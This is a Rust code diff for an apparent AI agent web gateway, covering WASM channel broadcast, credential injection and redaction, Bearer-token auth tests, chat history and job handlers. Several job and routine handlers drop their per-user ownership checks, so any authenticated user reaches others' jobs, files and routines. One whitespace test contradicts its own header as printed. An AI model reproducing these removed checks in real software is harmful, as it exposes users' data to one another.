if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) { if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
msg = msg.with_metadata(metadata); msg = msg.with_metadata(metadata);
// Store for broadcast routing (chat_id etc.)
do_update_broadcast_metadata(
channel_name,
&emitted.metadata_json,
last_broadcast_metadata,
settings_store,
)
.await;
} }
// Send to stream // Send to stream
@@ -1893,6 +2147,9 @@ impl Channel for WasmChannel {
} }
async fn start(&self) -> Result<MessageStream, ChannelError> { async fn start(&self) -> Result<MessageStream, ChannelError> {
// Restore broadcast metadata from settings (survives restarts)
self.load_broadcast_metadata().await;
// Create message channel // Create message channel
let (tx, rx) = mpsc::channel(256); let (tx, rx) = mpsc::channel(256);
*self.message_tx.write().await = Some(tx); *self.message_tx.write().await = Some(tx);
@@ -1982,6 +2239,8 @@ impl Channel for WasmChannel {
// The original metadata contains channel-specific routing info (e.g., Telegram chat_id) // The original metadata contains channel-specific routing info (e.g., Telegram chat_id)
// that the WASM channel needs to send the reply to the correct destination. // that the WASM channel needs to send the reply to the correct destination.
let metadata_json = serde_json::to_string(&msg.metadata).unwrap_or_default(); let metadata_json = serde_json::to_string(&msg.metadata).unwrap_or_default();
// Store for broadcast routing (chat_id etc.)
self.update_broadcast_metadata(&metadata_json).await;
self.call_on_respond( self.call_on_respond(
msg.id, msg.id,
&response.content, &response.content,
@@ -1997,6 +2256,34 @@ impl Channel for WasmChannel {
Ok(()) Ok(())
} }
async fn broadcast(
&self,
_user_id: &str,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
let metadata_json = self
.last_broadcast_metadata
.read()
.await
.clone()
.ok_or_else(|| ChannelError::SendFailed {
name: self.name.clone(),
reason: "No messages received yet — no chat_id available for broadcast".into(),
})?;
self.call_on_respond(
uuid::Uuid::new_v4(),
&response.content,
response.thread_id.as_deref(),
&metadata_json,
)
.await
.map_err(|e| ChannelError::SendFailed {
name: self.name.clone(),
reason: e.to_string(),
})
}
async fn send_status( async fn send_status(
&self, &self,
status: StatusUpdate, status: StatusUpdate,
@@ -2101,6 +2388,14 @@ impl Channel for SharedWasmChannel {
self.inner.respond(msg, response).await self.inner.respond(msg, response).await
} }
async fn broadcast(
&self,
user_id: &str,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
self.inner.broadcast(user_id, response).await
}
async fn send_status( async fn send_status(
&self, &self,
status: StatusUpdate, status: StatusUpdate,
@@ -2352,6 +2647,97 @@ impl HttpResponse {
} }
} }
/// Extract the hostname from a URL string.
///
/// Returns `None` for malformed URLs or non-HTTP(S) schemes.
fn extract_host_from_url(url: &str) -> Option<String> {
let parsed = url::Url::parse(url).ok()?;
if !matches!(parsed.scheme(), "http" | "https") {
return None;
}
parsed.host_str().map(|h| {
h.strip_prefix('[')
.and_then(|v| v.strip_suffix(']'))
.unwrap_or(h)
.to_lowercase()
})
}
/// Pre-resolve host credentials for all HTTP capability mappings.
///
/// Called once per callback (in async context, before spawn_blocking) so the
/// synchronous WASM host function can inject credentials without needing async
/// access to the secrets store.
///
/// Silently skips credentials that can't be resolved (e.g., missing secrets).
/// The channel will get a 401/403 from the API, which is the expected UX when
/// auth hasn't been configured yet.
async fn resolve_channel_host_credentials(
capabilities: &ChannelCapabilities,
store: Option<&(dyn SecretsStore + Send + Sync)>,
) -> Vec<ResolvedHostCredential> {
let store = match store {
Some(s) => s,
None => return Vec::new(),
};
let http_cap = match &capabilities.tool_capabilities.http {
Some(cap) => cap,
None => return Vec::new(),
};
if http_cap.credentials.is_empty() {
return Vec::new();
}
let mut resolved = Vec::new();
for mapping in http_cap.credentials.values() {
// Skip UrlPath credentials; they're handled by placeholder substitution
if matches!(
mapping.location,
crate::secrets::CredentialLocation::UrlPath { .. }
) {
continue;
}
let secret = match store.get_decrypted("default", &mapping.secret_name).await {
Ok(s) => s,
Err(e) => {
tracing::debug!(
secret_name = %mapping.secret_name,
error = %e,
"Could not resolve credential for WASM channel (auth may not be configured)"
);
continue;
}
};
let mut injected = InjectedCredentials::empty();
inject_credential(&mut injected, &mapping.location, &secret);
if injected.is_empty() {
continue;
}
resolved.push(ResolvedHostCredential {
host_patterns: mapping.host_patterns.clone(),
headers: injected.headers,
query_params: injected.query_params,
secret_value: secret.expose().to_string(),
});
}
if !resolved.is_empty() {
tracing::debug!(
count = resolved.len(),
"Pre-resolved host credentials for WASM channel execution"
);
}
resolved
}
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
use std::sync::Arc; use std::sync::Arc;
@@ -2384,6 +2770,7 @@ mod tests {
capabilities, capabilities,
"{}".to_string(), "{}".to_string(),
Arc::new(PairingStore::new()), Arc::new(PairingStore::new()),
None,
) )
} }
@@ -2461,6 +2848,7 @@ mod tests {
&prepared, &prepared,
&capabilities, &capabilities,
&credentials, &credentials,
Vec::new(), // no host credentials in test
Arc::new(PairingStore::new()), Arc::new(PairingStore::new()),
timeout, timeout,
&workspace_store, &workspace_store,
@@ -2489,11 +2877,14 @@ mod tests {
EmittedMessage::new("user2", "Another message"), EmittedMessage::new("user2", "Another message"),
]; ];
let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None));
let result = WasmChannel::dispatch_emitted_messages( let result = WasmChannel::dispatch_emitted_messages(
"test-channel", "test-channel",
messages, messages,
&message_tx, &message_tx,
&rate_limiter, &rate_limiter,
&last_broadcast_metadata,
None,
) )
.await; .await;
@@ -2527,11 +2918,14 @@ mod tests {
let messages = vec![EmittedMessage::new("user1", "Hello!")]; let messages = vec![EmittedMessage::new("user1", "Hello!")];
// Should return Ok even without a sender (logs warning but doesn't fail) // Should return Ok even without a sender (logs warning but doesn't fail)
let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None));
let result = WasmChannel::dispatch_emitted_messages( let result = WasmChannel::dispatch_emitted_messages(
"test-channel", "test-channel",
messages, messages,
&message_tx, &message_tx,
&rate_limiter, &rate_limiter,
&last_broadcast_metadata,
None,
) )
.await; .await;
@@ -2562,6 +2956,7 @@ mod tests {
capabilities, capabilities,
"{}".to_string(), "{}".to_string(),
Arc::new(PairingStore::new()), Arc::new(PairingStore::new()),
None,
); );
// Start the channel // Start the channel
@@ -3309,6 +3704,7 @@ mod tests {
"test", "test",
ChannelCapabilities::default(), ChannelCapabilities::default(),
creds, creds,
Vec::new(),
Arc::new(PairingStore::new()), Arc::new(PairingStore::new()),
); );
@@ -3340,6 +3736,7 @@ mod tests {
"test", "test",
ChannelCapabilities::default(), ChannelCapabilities::default(),
std::collections::HashMap::new(), std::collections::HashMap::new(),
Vec::new(),
Arc::new(PairingStore::new()), Arc::new(PairingStore::new()),
); );
@@ -3347,6 +3744,50 @@ mod tests {
assert_eq!(store.redact_credentials(input), input); assert_eq!(store.redact_credentials(input), input);
} }
#[test]
fn test_redact_credentials_url_encoded() {
use super::{ChannelStoreData, ResolvedHostCredential};
// Credential with characters that get URL-encoded
let mut creds = std::collections::HashMap::new();
creds.insert(
"API_KEY".to_string(),
"key with spaces&special=chars".to_string(),
);
let host_creds = vec![ResolvedHostCredential {
host_patterns: vec!["api.example.com".to_string()],
headers: std::collections::HashMap::new(),
query_params: std::collections::HashMap::new(),
secret_value: "host secret+value".to_string(),
}];
let store = ChannelStoreData::new(
1024 * 1024,
"test",
ChannelCapabilities::default(),
creds,
host_creds,
Arc::new(PairingStore::new()),
);
// Error containing URL-encoded form of the credential
let error = "request failed: https://api.example.com?key=key%20with%20spaces%26special%3Dchars&host=host%20secret%2Bvalue";
let redacted = store.redact_credentials(error);
assert!(
!redacted.contains("key%20with%20spaces"),
"URL-encoded credential should be redacted, got: {}",
redacted
);
assert!(
!redacted.contains("host%20secret%2Bvalue"),
"URL-encoded host credential should be redacted, got: {}",
redacted
);
}
#[test] #[test]
fn test_redact_credentials_skips_empty_values() { fn test_redact_credentials_skips_empty_values() {
use super::ChannelStoreData; use super::ChannelStoreData;
@@ -3359,6 +3800,7 @@ mod tests {
"test", "test",
ChannelCapabilities::default(), ChannelCapabilities::default(),
creds, creds,
Vec::new(),
Arc::new(PairingStore::new()), Arc::new(PairingStore::new()),
); );
+131 -3
View File
@@ -24,11 +24,13 @@ pub async fn auth_middleware(
request: Request, request: Request,
next: Next, next: Next,
) -> Response { ) -> Response {
// Try Authorization header first (constant-time comparison) // Try Authorization header first (constant-time comparison).
// RFC 6750 Section 2.1: auth-scheme comparison is case-insensitive.
if let Some(auth_header) = headers.get("authorization") if let Some(auth_header) = headers.get("authorization")
&& let Ok(value) = auth_header.to_str() && let Ok(value) = auth_header.to_str()
&& let Some(token) = value.strip_prefix("Bearer ") && value.len() > 7
&& bool::from(token.as_bytes().ct_eq(auth.token.as_bytes())) && value[..7].eq_ignore_ascii_case("Bearer ")
&& bool::from(value.as_bytes()[7..].ct_eq(auth.token.as_bytes()))
{ {
return next.run(request).await; return next.run(request).await;
} }
@@ -59,4 +61,130 @@ mod tests {
let cloned = state.clone(); let cloned = state.clone();
assert_eq!(cloned.token, "test-token"); assert_eq!(cloned.token, "test-token");
} }
// === QA Plan - Web gateway auth tests ===
use axum::Router;
use axum::body::Body;
use axum::middleware;
use axum::routing::get;
use tower::ServiceExt;
async fn dummy_handler() -> &'static str {
"ok"
}
fn test_app(token: &str) -> Router {
let state = AuthState {
token: token.to_string(),
};
Router::new()
.route("/test", get(dummy_handler))
.layer(middleware::from_fn_with_state(state, auth_middleware))
}
#[tokio::test]
async fn test_valid_bearer_token_passes() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "Bearer secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_invalid_bearer_token_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "Bearer wrong-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_missing_auth_header_falls_through_to_query() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test?token=secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_query_param_invalid_token_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test?token=wrong-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_no_auth_at_all_rejected() {
let app = test_app("secret-token");
let req = Request::builder().uri("/test").body(Body::empty()).unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_bearer_prefix_case_insensitive() {
// RFC 6750 Section 2.1: auth-scheme comparison must be case-insensitive.
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "bearer secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_bearer_prefix_mixed_case() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "BEARER secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_empty_bearer_token_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "Bearer ")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_token_with_whitespace_rejected() {
// Extra space after "Bearer " means the token value starts with a space,
// which should not match the expected token.
let app = test_app("secret-token");
let req = Request::builder()
.uri("/test")
.header("Authorization", "Bearer secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
} }
+126 -44
View File
@@ -14,6 +14,7 @@ use uuid::Uuid;
use crate::channels::IncomingMessage; use crate::channels::IncomingMessage;
use crate::channels::web::server::GatewayState; use crate::channels::web::server::GatewayState;
use crate::channels::web::types::*; use crate::channels::web::types::*;
use crate::channels::web::util::{build_turns_from_db_messages, truncate_preview};
pub async fn chat_send_handler( pub async fn chat_send_handler(
State(state): State<Arc<GatewayState>>, State(state): State<Arc<GatewayState>>,
@@ -317,12 +318,13 @@ pub async fn chat_history_handler(
turns, turns,
has_more, has_more,
oldest_timestamp, oldest_timestamp,
pending_approval: None,
})); }));
} }
// Try in-memory first (freshest data for active threads) // Try in-memory first (freshest data for active threads)
if let Some(thread) = sess.threads.get(&thread_id) if let Some(thread) = sess.threads.get(&thread_id)
&& !thread.turns.is_empty() && (!thread.turns.is_empty() || thread.pending_approval.is_some())
{ {
let turns: Vec<TurnInfo> = thread let turns: Vec<TurnInfo> = thread
.turns .turns
@@ -341,16 +343,35 @@ pub async fn chat_history_handler(
name: tc.name.clone(), name: tc.name.clone(),
has_result: tc.result.is_some(), has_result: tc.result.is_some(),
has_error: tc.error.is_some(), has_error: tc.error.is_some(),
result_preview: tc.result.as_ref().map(|r| {
let s = match r {
serde_json::Value::String(s) => s.clone(),
other => other.to_string(),
};
truncate_preview(&s, 500)
}),
error: tc.error.clone(),
}) })
.collect(), .collect(),
}) })
.collect(); .collect();
let pending_approval = thread
.pending_approval
.as_ref()
.map(|pa| PendingApprovalInfo {
request_id: pa.request_id.to_string(),
tool_name: pa.tool_name.clone(),
description: pa.description.clone(),
parameters: serde_json::to_string_pretty(&pa.parameters).unwrap_or_default(),
});
return Ok(Json(HistoryResponse { return Ok(Json(HistoryResponse {
thread_id, thread_id,
turns, turns,
has_more: false, has_more: false,
oldest_timestamp: None, oldest_timestamp: None,
pending_approval,
})); }));
} }
@@ -369,6 +390,7 @@ pub async fn chat_history_handler(
turns, turns,
has_more, has_more,
oldest_timestamp, oldest_timestamp,
pending_approval: None,
})); }));
} }
} }
@@ -379,51 +401,10 @@ pub async fn chat_history_handler(
turns: Vec::new(), turns: Vec::new(),
has_more: false, has_more: false,
oldest_timestamp: None, oldest_timestamp: None,
pending_approval: None,
})) }))
} }
/// Build TurnInfo pairs from flat DB messages (alternating user/assistant).
pub fn build_turns_from_db_messages(
messages: &[crate::history::ConversationMessage],
) -> Vec<TurnInfo> {
let mut turns = Vec::new();
let mut turn_number = 0;
let mut iter = messages.iter().peekable();
while let Some(msg) = iter.next() {
if msg.role == "user" {
let mut turn = TurnInfo {
turn_number,
user_input: msg.content.clone(),
response: None,
state: "Completed".to_string(),
started_at: msg.created_at.to_rfc3339(),
completed_at: None,
tool_calls: Vec::new(),
};
// Check if next message is an assistant response
if let Some(next) = iter.peek()
&& next.role == "assistant"
{
let assistant_msg = iter.next().expect("peeked");
turn.response = Some(assistant_msg.content.clone());
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
}
// Incomplete turn (user message without response)
if turn.response.is_none() {
turn.state = "Failed".to_string();
}
turns.push(turn);
turn_number += 1;
}
}
turns
}
pub async fn chat_threads_handler( pub async fn chat_threads_handler(
State(state): State<Arc<GatewayState>>, State(state): State<Arc<GatewayState>>,
) -> Result<Json<ThreadListResponse>, (StatusCode, String)> { ) -> Result<Json<ThreadListResponse>, (StatusCode, String)> {
@@ -454,7 +435,7 @@ pub async fn chat_threads_handler(
let info = ThreadInfo { let info = ThreadInfo {
id: s.id, id: s.id,
state: "Idle".to_string(), state: "Idle".to_string(),
turn_count: (s.message_count / 2).max(0) as usize, turn_count: s.message_count.max(0) as usize,
created_at: s.started_at.to_rfc3339(), created_at: s.started_at.to_rfc3339(),
updated_at: s.last_activity.to_rfc3339(), updated_at: s.last_activity.to_rfc3339(),
title: s.title.clone(), title: s.title.clone(),
@@ -630,4 +611,105 @@ mod tests {
assert!(turns[1].response.is_none()); assert!(turns[1].response.is_none());
assert_eq!(turns[1].state, "Failed"); assert_eq!(turns[1].state, "Failed");
} }
#[test]
fn test_build_turns_with_tool_calls() {
let now = chrono::Utc::now();
let tool_calls_json = serde_json::json!([
{"name": "shell", "result_preview": "file1.txt\nfile2.txt"},
{"name": "http", "error": "timeout"}
]);
let messages = vec![
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "user".to_string(),
content: "List files".to_string(),
created_at: now,
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "tool_calls".to_string(),
content: tool_calls_json.to_string(),
created_at: now + chrono::TimeDelta::milliseconds(500),
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "assistant".to_string(),
content: "Here are the files".to_string(),
created_at: now + chrono::TimeDelta::seconds(1),
},
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert_eq!(turns[0].tool_calls.len(), 2);
assert_eq!(turns[0].tool_calls[0].name, "shell");
assert!(turns[0].tool_calls[0].has_result);
assert!(!turns[0].tool_calls[0].has_error);
assert_eq!(
turns[0].tool_calls[0].result_preview.as_deref(),
Some("file1.txt\nfile2.txt")
);
assert_eq!(turns[0].tool_calls[1].name, "http");
assert!(turns[0].tool_calls[1].has_error);
assert_eq!(turns[0].tool_calls[1].error.as_deref(), Some("timeout"));
assert_eq!(turns[0].response.as_deref(), Some("Here are the files"));
assert_eq!(turns[0].state, "Completed");
}
#[test]
fn test_build_turns_with_malformed_tool_calls() {
let now = chrono::Utc::now();
let messages = vec![
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "user".to_string(),
content: "Hello".to_string(),
created_at: now,
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "tool_calls".to_string(),
content: "not valid json".to_string(),
created_at: now + chrono::TimeDelta::milliseconds(500),
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "assistant".to_string(),
content: "Done".to_string(),
created_at: now + chrono::TimeDelta::seconds(1),
},
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].response.as_deref(), Some("Done"));
}
#[test]
fn test_build_turns_backward_compatible_no_tool_calls() {
// Old threads without tool_calls messages still work
let now = chrono::Utc::now();
let messages = vec![
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "user".to_string(),
content: "Hello".to_string(),
created_at: now,
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "assistant".to_string(),
content: "Hi!".to_string(),
created_at: now + chrono::TimeDelta::seconds(1),
},
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].response.as_deref(), Some("Hi!"));
assert_eq!(turns[0].state, "Completed");
}
} }
+1
View File
@@ -51,6 +51,7 @@ pub async fn extensions_list_handler(
}; };
ExtensionInfo { ExtensionInfo {
name: ext.name, name: ext.name,
display_name: ext.display_name,
kind: ext.kind.to_string(), kind: ext.kind.to_string(),
description: ext.description, description: ext.description,
url: ext.url, url: ext.url,
+141 -79
View File
@@ -1,5 +1,6 @@
//! Job and sandbox API handlers. //! Job and sandbox API handlers.
use std::collections::HashSet;
use std::sync::Arc; use std::sync::Arc;
use axum::{ use axum::{
@@ -21,32 +22,55 @@ pub async fn jobs_list_handler(
"Database not available".to_string(), "Database not available".to_string(),
))?; ))?;
// Fetch sandbox jobs scoped to the authenticated user. let mut jobs: Vec<JobInfo> = Vec::new();
let sandbox_jobs = store let mut seen_ids: HashSet<Uuid> = HashSet::new();
.list_sandbox_jobs_for_user(&state.user_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
// Scope jobs to the authenticated user. // Fetch sandbox jobs from database.
let mut jobs: Vec<JobInfo> = sandbox_jobs match store.list_sandbox_jobs().await {
.iter() Ok(sandbox_jobs) => {
.filter(|j| j.user_id == state.user_id) for j in &sandbox_jobs {
.map(|j| { let ui_state = match j.status.as_str() {
let ui_state = match j.status.as_str() { "creating" => "pending",
"creating" => "pending", "running" => "in_progress",
"running" => "in_progress", s => s,
s => s, };
}; seen_ids.insert(j.id);
JobInfo { jobs.push(JobInfo {
id: j.id, id: j.id,
title: j.task.clone(), title: j.task.clone(),
state: ui_state.to_string(), state: ui_state.to_string(),
user_id: j.user_id.clone(), user_id: j.user_id.clone(),
created_at: j.created_at.to_rfc3339(), created_at: j.created_at.to_rfc3339(),
started_at: j.started_at.map(|dt| dt.to_rfc3339()), started_at: j.started_at.map(|dt| dt.to_rfc3339()),
});
} }
}) }
.collect(); Err(e) => {
tracing::warn!("Failed to list sandbox jobs: {}", e);
}
}
// Fetch agent (non-sandbox) jobs from database, deduplicating by ID.
match store.list_agent_jobs().await {
Ok(agent_jobs) => {
for j in &agent_jobs {
if seen_ids.contains(&j.id) {
continue;
}
jobs.push(JobInfo {
id: j.id,
title: j.title.clone(),
state: j.status.clone(),
user_id: j.user_id.clone(),
created_at: j.created_at.to_rfc3339(),
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
});
}
}
Err(e) => {
tracing::warn!("Failed to list agent jobs: {}", e);
}
}
// Most recent first. // Most recent first.
jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at)); jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at));
@@ -62,18 +86,49 @@ pub async fn jobs_summary_handler(
"Database not available".to_string(), "Database not available".to_string(),
))?; ))?;
let s = store let mut total = 0;
.sandbox_job_summary_for_user(&state.user_id) let mut pending = 0;
.await let mut in_progress = 0;
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; let mut completed = 0;
let mut failed = 0;
let mut stuck = 0;
// Sandbox job counts.
match store.sandbox_job_summary().await {
Ok(s) => {
total += s.total;
pending += s.creating;
in_progress += s.running;
completed += s.completed;
failed += s.failed + s.interrupted;
}
Err(e) => {
tracing::warn!("Failed to fetch sandbox job summary: {}", e);
}
}
// Agent job counts.
match store.agent_job_summary().await {
Ok(s) => {
total += s.total;
pending += s.pending;
in_progress += s.in_progress;
completed += s.completed;
failed += s.failed;
stuck += s.stuck;
}
Err(e) => {
tracing::warn!("Failed to fetch agent job summary: {}", e);
}
}
Ok(Json(JobSummaryResponse { Ok(Json(JobSummaryResponse {
total: s.total, total,
pending: s.creating, pending,
in_progress: s.running, in_progress,
completed: s.completed, completed,
failed: s.failed + s.interrupted, failed,
stuck: 0, stuck,
})) }))
} }
@@ -81,16 +136,16 @@ pub async fn jobs_detail_handler(
State(state): State<Arc<GatewayState>>, State(state): State<Arc<GatewayState>>,
Path(id): Path<String>, Path(id): Path<String>,
) -> Result<Json<JobDetailResponse>, (StatusCode, String)> { ) -> Result<Json<JobDetailResponse>, (StatusCode, String)> {
let store = state.store.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Database not available".to_string(),
))?;
let job_id = Uuid::parse_str(&id) let job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Try sandbox job from DB first, scoped to the authenticated user. // Try sandbox job from DB first.
if let Some(ref store) = state.store if let Ok(Some(job)) = store.get_sandbox_job(job_id).await {
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
{
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let browse_id = std::path::Path::new(&job.project_dir) let browse_id = std::path::Path::new(&job.project_dir)
.file_name() .file_name()
.map(|n| n.to_string_lossy().to_string()) .map(|n| n.to_string_lossy().to_string())
@@ -146,6 +201,30 @@ pub async fn jobs_detail_handler(
})); }));
} }
// Fall back to agent job from DB.
if let Ok(Some(ctx)) = store.get_job(job_id).await {
let elapsed_secs = ctx.started_at.map(|start| {
let end = ctx.completed_at.unwrap_or_else(chrono::Utc::now);
(end - start).num_seconds().max(0) as u64
});
return Ok(Json(JobDetailResponse {
id: ctx.job_id,
title: ctx.title.clone(),
description: ctx.description.clone(),
state: ctx.state.to_string(),
user_id: ctx.user_id.clone(),
created_at: ctx.created_at.to_rfc3339(),
started_at: ctx.started_at.map(|dt| dt.to_rfc3339()),
completed_at: ctx.completed_at.map(|dt| dt.to_rfc3339()),
elapsed_secs,
project_dir: None,
browse_url: None,
job_mode: None,
transitions: Vec::new(),
}));
}
Err((StatusCode::NOT_FOUND, "Job not found".to_string())) Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
} }
@@ -156,13 +235,10 @@ pub async fn jobs_cancel_handler(
let job_id = Uuid::parse_str(&id) let job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Try sandbox job cancellation, scoped to the authenticated user. // Try sandbox job cancellation.
if let Some(ref store) = state.store if let Some(ref store) = state.store
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await && let Ok(Some(job)) = store.get_sandbox_job(job_id).await
{ {
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
if job.status == "running" || job.status == "creating" { if job.status == "running" || job.status == "creating" {
// Stop the container if we have a job manager. // Stop the container if we have a job manager.
if let Some(ref jm) = state.job_manager if let Some(ref jm) = state.job_manager
@@ -188,6 +264,26 @@ pub async fn jobs_cancel_handler(
}))); })));
} }
// Fall back to agent job cancellation via DB status update.
if let Some(ref store) = state.store
&& let Ok(Some(job)) = store.get_job(job_id).await
{
if job.state.is_active() {
store
.update_job_status(
job_id,
crate::context::JobState::Cancelled,
Some("Cancelled by user"),
)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
}
return Ok(Json(serde_json::json!({
"status": "cancelled",
"job_id": job_id,
})));
}
Err((StatusCode::NOT_FOUND, "Job not found".to_string())) Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
} }
@@ -213,11 +309,6 @@ pub async fn jobs_restart_handler(
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?; .ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Scope to the authenticated user.
if old_job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
if old_job.status != "interrupted" && old_job.status != "failed" { if old_job.status != "interrupted" && old_job.status != "failed" {
return Err(( return Err((
StatusCode::CONFLICT, StatusCode::CONFLICT,
@@ -310,16 +401,6 @@ pub async fn jobs_prompt_handler(
.parse() .parse()
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Verify user owns this job.
if let Some(ref store) = state.store
&& !store
.sandbox_job_belongs_to_user(job_id, &state.user_id)
.await
.unwrap_or(false)
{
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let content = body let content = body
.get("content") .get("content")
.and_then(|v| v.as_str()) .and_then(|v| v.as_str())
@@ -358,15 +439,6 @@ pub async fn jobs_events_handler(
.parse() .parse()
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Verify user owns this job.
if !store
.sandbox_job_belongs_to_user(job_id, &state.user_id)
.await
.unwrap_or(false)
{
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let events = store let events = store
.list_job_events(job_id, None) .list_job_events(job_id, None)
.await .await
@@ -416,11 +488,6 @@ pub async fn job_files_list_handler(
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?; .ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Verify user owns this job.
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let base = std::path::PathBuf::from(&job.project_dir); let base = std::path::PathBuf::from(&job.project_dir);
let rel_path = query.path.as_deref().unwrap_or(""); let rel_path = query.path.as_deref().unwrap_or("");
let target = base.join(rel_path); let target = base.join(rel_path);
@@ -484,11 +551,6 @@ pub async fn job_files_read_handler(
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?; .ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Verify user owns this job.
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let path = query.path.as_deref().ok_or(( let path = query.path.as_deref().ok_or((
StatusCode::BAD_REQUEST, StatusCode::BAD_REQUEST,
"path parameter required".to_string(), "path parameter required".to_string(),
+2 -2
View File
@@ -23,7 +23,7 @@ pub async fn routines_list_handler(
))?; ))?;
let routines = store let routines = store
.list_routines(&state.user_id) .list_all_routines()
.await .await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
@@ -41,7 +41,7 @@ pub async fn routines_summary_handler(
))?; ))?;
let routines = store let routines = store
.list_routines(&state.user_id) .list_all_routines()
.await .await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
+2 -5
